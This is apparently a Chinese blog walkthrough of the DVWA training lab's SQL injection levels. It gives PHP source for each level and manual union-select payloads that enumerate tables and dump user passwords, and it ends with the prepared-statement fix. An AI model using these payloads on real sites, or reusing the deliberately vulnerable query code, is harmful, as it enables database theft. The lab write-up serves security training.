SQL注入,一个大概的手工流程:

  1. 判断是否有注入,什么类型
  2. 破解SQL语句中查询的字段数是多少
  3. 确定回显位置
  4. 破库
  5. 破表
  6. 破字段
  7. 获得内容

Low:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// Get input

$id = $_REQUEST[ 'id' ];

// Check database

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>

没有任何过滤就带入查询

手工注入测试,标准流程化操作

输入1,成功并返回结果

输入1' 报错,提示得知是字符型注入

1' order by 16# 测试,报错,减半再试,直到1' order by 2 #不报错,字段数2

1' union select 1,2 # 回显两个点

1' union select 1,database() # 查库

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查字段

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 查数据

www.cmd5.com破解一下密码

Medium:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Display values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

}

// This is used later on in the index.php page

// Setting it here so we can close the database connection in here like in the rest of the source scripts

$query  = "SELECT COUNT(*) FROM users;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

界面变成了下拉表单,还有mysqli_real_escape_string转义

用burp suite抓包改包,改id的值即可,与low级别思想一样的,一套连招

有一个区别,由于有了转义,low级别用的’users’这种带引号的必不可能用了,可以将users ASCII hex编码一波0x7573657273

High:

界面又变了

<?php

if( isset( $_SESSION [ 'id' ] ) ) {

// Get input

$id = $_SESSION[ 'id' ];

// Check database

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

LIMIT 1限制了输出只有1个结果,可注释掉

思路和前面一致

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

另:经提醒,两个界面分离,可干扰sqlmap注入

Impossible:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

$row = $data->fetch();

// Make sure only 1 result is returned

if( $data->rowCount() == 1 ) {

// Get values

$first = $row[ 'first_name' ];

$last  = $row[ 'last_name' ];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

PDO还是很有用的

DVWA靶场之SQL Injection通关的更多相关文章

  1. DVWA靶场之SQL injection(blind)通关

    盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注 基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数.判断回显位置了) 判断注入类型 破 ...

  2. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  5. DVWA靶场之Command Injection(命令行注入)通关

    Command Injection Low: <?php if( isset( $_POST[ 'Submit' ]  ) ) { // Get input $target = $_REQUES ...

  6. 【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

    1.初级篇 low.php 先看源码,取得的参数直接放到sql语句中执行 if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQ ...

  7. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  8. dvwa学习之七:SQL Injection

    1.Low级别 核心代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; ...

  9. DVWA靶场练习-Command Injection命令注入

    Command Injection 原理 攻击者通过构造恶意参数,破坏命令的语句结构,从而达到执行恶意命令的目的.

随机推荐

  1. XCTF-boomshakalaka-3

    这题讲道理出的挺脑洞的,apk直接拖入jeb打开,找到主活动 这里有两个方法,一个是onCreate()方法,还有一个是onCreateView()方法 onCreate()方法调用了a这个对象的d方 ...

  2. bugku秋名山车神

    不断的刷新,发现表达式一直在变换,这种必须写脚本,才能跟上速度.直接上代码 import re import requests s=requests.session() r=s.get("h ...

  3. buu Youngter-drive

    一.查壳,发现是upx的壳,用自解压方式,脱下壳 二.之后发现打不开了,应该是要修复,不想修复了,直接拖入ida 找到关键函数,中间发生一点小插曲,发现堆栈不平衡,然后导致F5反编译失败,百度了下是A ...

  4. B站挂了之后出现的tengine是个啥?

    一.描述 晚上刚洗漱完之后听同学说:B站挂了?woc?真挂了? 嗯!确实挂了,404的状态码,懂的都懂. 不过,最下面的tengine字眼吸引了我的注意,一时兴起,打算看看它是个什么东西,起码搞一个h ...

  5. java基础---泛型机制

    从java5 开始增加泛型机制,用于明确集合中可以放入的元素类型,只在编译时期有效,运行时不区分是什么类型. 格式:<数据类型> 泛型的本质是参数化类型,让数据类型作为参数传递,E相当于形 ...

  6. 简单DOS命令

    1.nslookup命令 nslookup命令是用来解析域名的,举个例子:我们只知道百度的域名是www.baidu.com 想要知道它的ip的话就要使用nslookup命令了nslookup www. ...

  7. python使用笔记004-冒泡排序

    冒泡排序(Bubble Sort),是一种计算机科学领域的较简单的排序算法. 它重复地走访过要排序的元素列,依次比较两个相邻的元素,如果顺序(如从大到小.首字母从Z到A)错误就把他们交换过来.走访元素 ...

  8. java+selenium UI自动化001

    selenium是一个用于Web应用程序测试的工具,可以用来模拟用户在浏览器上的操作. 支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Googl ...

  9. Spring RestTemplate 之get请求

    一,简介:Spring RestTemplate 是 Spring 提供的用于访问 Rest 服务的客户端,RestTemplate 提供了多种便捷访问远程Http服务的方法,能够大大提高客户端的编写 ...

  10. python -- os处理模块

    # --------------------------------# 使用os模块操作目录和文件# --------------------------------# getcwd() 获取当前目录 ...